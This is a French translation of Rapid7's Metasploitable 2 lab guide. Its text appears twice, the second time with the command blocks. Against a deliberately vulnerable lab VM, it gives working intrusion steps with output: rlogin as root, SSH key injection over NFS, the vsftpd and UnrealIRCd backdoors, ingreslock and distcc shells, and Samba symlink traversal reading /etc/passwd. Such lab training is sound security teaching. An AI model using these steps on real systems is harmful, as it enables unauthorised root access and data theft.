Metasploitable 2
La machine virtuelle Metasploitable est une version volontairement vulnérable de Ubuntu Linux conçue pour tester les outils de sécurité et de démontrer les vulnérabilités courantes.
La version 2 de cette machine virtuelle est disponible au téléchargement à partir Sourceforge.net.
Cette machine virtuelle est compatible avec VMWare, VirtualBox, et d'autres plates-formes de virtualisation communes.
Par défaut, les interfaces réseau Metasploitable sont liés à la NAT les adaptateurs réseau Host-only, et l'image ne doit jamais être exposé à un réseau hostile. (Remarque: Un didacticiel vidéo sur l'installation de Metasploitable 2 est disponible ici)
Ce document présente la plupart des failles de sécurité de Metasploitable 2.
Ce document continuera de se développer au fil du temps comme la plupart des défauts moins évidents de cette plate-forme.
Mise en route
Après le démarrage de la machine virtuelle, connectez-vous à la console avec l'identifiant "msfadmin" et le mot de passe "msfadmin" (sans les guillemets).
À partir du shell, exécutez la commande ifconfig pour identifier l'adresse IP.
Services
A partir de notre système d'attaque (Linux, de préférence ou quelque chose du genre du BackTrack), nous identifierons les services réseaux ouverts de cette machine virtuelle à l'aide du scanner de sécurité Nmap.
La ligne de commande suivante va scanner tous les ports TCP sur Metasploitable 2 :
Presque chacun de ces services d'écoute sont un point d'entrée potenciel dans le système distant.
Dans la section suivante, nous élargisseront certains de ces vecteurs.
Services: Notions de base Unix
Les ports TCP 512, 513, et 514 sont connus comme des services "r", et ont été mal configuré pour permettre l'accès à distance à partir de n'importe quel hôte (une norme ". Rhosts + +" situation).
Pour profiter de cela, assurez-vous que le "rsh-client" client soit installé (sur Ubuntu), et exécutez la commande suivante en tant qu'administrateur local root.
Si vous êtes invité à saisir une clé SSH, cela signifie que les outils rsh-client n'ont pas été installés et Ubuntu utilise par défaut SSH.
Le prochain service que nous devrions regarder, c'est le Network File System (NFS).
Les NFS peuvent être identifiés en sondant le port 2049 directement ou en demandant le portmapper d'une liste de services.
L'exemple ci-dessous avec rpcinfo pour identifier NFS et showmount-e afin de déterminer si le "/" action (la racine du système de fichiers) est exporté.
Vous aurez besoin du rpcbind et nfs-common paquets Ubuntu à suivre.
Nous voulons avoir accès à un système possédant un système de fichiers accessible en écriture.
Pour ce faire (et parce que SSH fonctionne), nous allons générer une nouvelle clé SSH sur notre système offensif, monter l'export NFS, ajoutez la clé de notre dossier root authorized_keys:
Services: Backdoors
Sur le port 21, Metasploitable 2 fonctionne vsftpd, un serveur FTP populaire.
Cette version contient un backdoor qui a été glissé dans le code source par un intrus inconnu.
Le backdoor a été rapidement identifié et éliminé, mais avant ça quelques personnes ont téléchargé le code malicieux.
Si un nom d'utilisateur est envoyé la version backdoored va ouvrir un shell d'écoute sur le port 6200.
Nous pouvons le démontrer avec telnet ou utiliser le module Metasploit Framework et l'exploiter automatiquement:
Sur le port 6667, Metasploitable2 exécute UnreaIRCD IRC daemon.
Cette version contient un backdoor qui est passé inaperçu pendant des mois - déclenchée par l'envoi des lettres «AB» suivis d'un système de commande du serveur sur n'importe quel port d'écoute.
Metasploit possède un module pour exploiter ceci afin d'obtenir un shell interactif, comme indiqué ci-dessous.
Beaucoup moins subtil le vieux standby "ingreslock" backdoor qui écoute le port 1524.
Le port ingreslock était un choix populaire il ya une décennie pour ajouter un backdoor sur un serveur compromis.
Y accéder est simple:
Services: Backdoors involontaires
En plus des backdoor malveillants énoncés dans la section précédente, certains services sont presque des backdoor par leur nature même.
Le premier d'entre eux est distccd, installé sur Metasploitable 2. Ce programme facilite l'emplois de compilateur à grandes échelles sur une batterie de systèmes pré-configurés.
Le problème avec ce service est qu'un attaquant peut facilement en abuser en exécutant une commande , comme en témoigne l'utilisation du module Metasploit ci-dessous.
Samba, lorsqu'il est configuré avec un partage de fichiers accessible en écriture et lorsque les "wide links" sont activés (par défaut), peut également être utilisé comme un backdoor de sortes à accéder à des fichiers qui n'étaient pas destinées à être partagées.
L'exemple ci-dessous utilise un module Metasploit qui donne un accès au système de fichiers root en utilisant une connexion anonyme et une part en écriture.
Extrait de https://community.rapid7.com/docs/DOC-1875
La machine virtuelle Metasploitable est une version volontairement vulnérable de Ubuntu Linux conçue pour tester les outils de sécurité et de démontrer les vulnérabilités courantes.
La version 2 de cette machine virtuelle est disponible au téléchargement à partir Sourceforge.net.
Cette machine virtuelle est compatible avec VMWare, VirtualBox, et d'autres plates-formes de virtualisation communes.
Par défaut, les interfaces réseau Metasploitable sont liés à la NAT les adaptateurs réseau Host-only, et l'image ne doit jamais être exposé à un réseau hostile. (Remarque: Un didacticiel vidéo sur l'installation de Metasploitable 2 est disponible ici)
Ce document présente la plupart des failles de sécurité de Metasploitable 2.
Ce document continuera de se développer au fil du temps comme la plupart des défauts moins évidents de cette plate-forme.
Mise en route
Après le démarrage de la machine virtuelle, connectez-vous à la console avec l'identifiant "msfadmin" et le mot de passe "msfadmin" (sans les guillemets).
À partir du shell, exécutez la commande ifconfig pour identifier l'adresse IP.
Code:
[email protected]:~$ ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Services
A partir de notre système d'attaque (Linux, de préférence ou quelque chose du genre du BackTrack), nous identifierons les services réseaux ouverts de cette machine virtuelle à l'aide du scanner de sécurité Nmap.
La ligne de commande suivante va scanner tous les ports TCP sur Metasploitable 2 :
Code:
[email protected]:~# nmap -p0-65535 192.168.99.131 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open unknown 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open unknown 39292/tcp open unknown 43729/tcp open unknown 44813/tcp open unknown 55852/tcp open unknown MAC Address: 00:0C:29:9A:52:C1 (VMware)
Presque chacun de ces services d'écoute sont un point d'entrée potenciel dans le système distant.
Dans la section suivante, nous élargisseront certains de ces vecteurs.
Services: Notions de base Unix
Les ports TCP 512, 513, et 514 sont connus comme des services "r", et ont été mal configuré pour permettre l'accès à distance à partir de n'importe quel hôte (une norme ". Rhosts + +" situation).
Pour profiter de cela, assurez-vous que le "rsh-client" client soit installé (sur Ubuntu), et exécutez la commande suivante en tant qu'administrateur local root.
Si vous êtes invité à saisir une clé SSH, cela signifie que les outils rsh-client n'ont pas été installés et Ubuntu utilise par défaut SSH.
Code:
# rlogin -l root 192.168.99.131 Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 [email protected]:~#
Les NFS peuvent être identifiés en sondant le port 2049 directement ou en demandant le portmapper d'une liste de services.
L'exemple ci-dessous avec rpcinfo pour identifier NFS et showmount-e afin de déterminer si le "/" action (la racine du système de fichiers) est exporté.
Vous aurez besoin du rpcbind et nfs-common paquets Ubuntu à suivre.
Code:
[email protected]:~# rpcinfo -p 192.168.99.131 program vers proto port service 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 53318 status 100024 1 tcp 43729 status 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100021 1 udp 46696 nlockmgr 100021 3 udp 46696 nlockmgr 100021 4 udp 46696 nlockmgr 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100021 1 tcp 55852 nlockmgr 100021 3 tcp 55852 nlockmgr 100021 4 tcp 55852 nlockmgr 100005 1 udp 34887 mountd 100005 1 tcp 39292 mountd 100005 2 udp 34887 mountd 100005 2 tcp 39292 mountd 100005 3 udp 34887 mountd 100005 3 tcp 39292 mountd [email protected]:~# showmount -e 192.168.99.131 Export list for 192.168.99.131: / *
Pour ce faire (et parce que SSH fonctionne), nous allons générer une nouvelle clé SSH sur notre système offensif, monter l'export NFS, ajoutez la clé de notre dossier root authorized_keys:
Code:
[email protected]:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. [email protected]:~# mkdir /tmp/r00t [email protected]:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/ [email protected]:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys [email protected]:~# umount /tmp/r00t [email protected]:~# ssh [email protected] Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 [email protected]:~#
Services: Backdoors
Sur le port 21, Metasploitable 2 fonctionne vsftpd, un serveur FTP populaire.
Cette version contient un backdoor qui a été glissé dans le code source par un intrus inconnu.
Le backdoor a été rapidement identifié et éliminé, mais avant ça quelques personnes ont téléchargé le code malicieux.
Si un nom d'utilisateur est envoyé la version backdoored va ouvrir un shell d'écoute sur le port 6200.
Nous pouvons le démontrer avec telnet ou utiliser le module Metasploit Framework et l'exploiter automatiquement:
Code:
[email protected]:~# telnet 192.168.99.131 21 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ^] telnet> quit Connection closed. [email protected]:~# telnet 192.168.99.131 6200 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. id; uid=0(root) gid=0(root)
Cette version contient un backdoor qui est passé inaperçu pendant des mois - déclenchée par l'envoi des lettres «AB» suivis d'un système de commande du serveur sur n'importe quel port d'écoute.
Metasploit possède un module pour exploiter ceci afin d'obtenir un shell interactif, comme indiqué ci-dessous.
Code:
msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.99.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 8bMUYsfmGvOLHBxe; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "8bMUYsfmGvOLHBxe\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700 id uid=0(root) gid=0(root)
Le port ingreslock était un choix populaire il ya une décennie pour ajouter un backdoor sur un serveur compromis.
Y accéder est simple:
Code:
[email protected]:~# telnet 192.168.99.131 1524 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. [email protected]:/# id uid=0(root) gid=0(root) groups=0(root)
Services: Backdoors involontaires
En plus des backdoor malveillants énoncés dans la section précédente, certains services sont presque des backdoor par leur nature même.
Le premier d'entre eux est distccd, installé sur Metasploitable 2. Ce programme facilite l'emplois de compilateur à grandes échelles sur une batterie de systèmes pré-configurés.
Le problème avec ce service est qu'un attaquant peut facilement en abuser en exécutant une commande , comme en témoigne l'utilisation du module Metasploit ci-dessous.
Code:
msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.99.131 msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo uk3UdiwLUq0LX3Bi; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "uk3UdiwLUq0LX3Bi\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700 id uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba, lorsqu'il est configuré avec un partage de fichiers accessible en écriture et lorsque les "wide links" sont activés (par défaut), peut également être utilisé comme un backdoor de sortes à accéder à des fichiers qui n'étaient pas destinées à être partagées.
L'exemple ci-dessous utilise un module Metasploit qui donne un accès au système de fichiers root en utilisant une connexion anonyme et une part en écriture.
Code:
[email protected]:~# smbclient -L //192.168.99.131 Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) [email protected]:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit [*] Connecting to the server... [*] Trying to mount writeable share 'tmp'... [*] Trying to link 'rootfs' to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.99.131\tmp\rootfs\ msf auxiliary(samba_symlink_traversal) > exit [email protected]:~# smbclient //192.168.99.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..]
Extrait de https://community.rapid7.com/docs/DOC-1875